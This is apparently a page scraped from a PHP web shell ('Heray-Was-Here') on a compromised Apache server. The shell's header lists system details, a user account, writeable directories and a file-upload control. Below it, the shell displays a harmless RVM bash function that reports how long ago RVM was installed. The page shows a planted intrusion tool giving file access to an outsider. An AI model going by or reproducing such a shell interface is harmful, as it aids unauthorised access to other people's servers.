Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/thread-self/root/usr/local/rvm/scripts/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/local/rvm/scripts/functions/version-installed-when
#!/usr/bin/env bash

__rvm_version_installed_when()
{
  \typeset installed_at years months days hours minutes seconds part

  installed_at="$(\command \cat ${rvm_path}/installed.at)"

  if
    [[ -n "${installed_at:-}" ]] && (( installed_at ))
  then
    seconds="$(( $(__rvm_date +%s) - installed_at ))"
    if
      (( seconds ))
    then
      minutes="$(( seconds / 60 % 60 ))"
      hours="$(( seconds / 3600 % 24 ))"
      days="$(( seconds / 86400 % 31 ))"
      months="$(( seconds / 2678400 % 12 ))"
      years="$(( seconds / 31536000 ))"
      seconds="$(( seconds % 60 ))"

      installed_at=""
      for part in year month day hour minute second
      do
        partvar="${part}s"
        (( ${!partvar} )) || continue
        installed_at="${installed_at}${!partvar} ${part}$( (( ${!partvar} == 1 )) || echo "s") "
      done
      installed_at="${installed_at}ago"
    else
      installed_at="just now"
    fi
  else
    installed_at="can not read installation time"
  fi

  echo ${installed_at}
}

Hry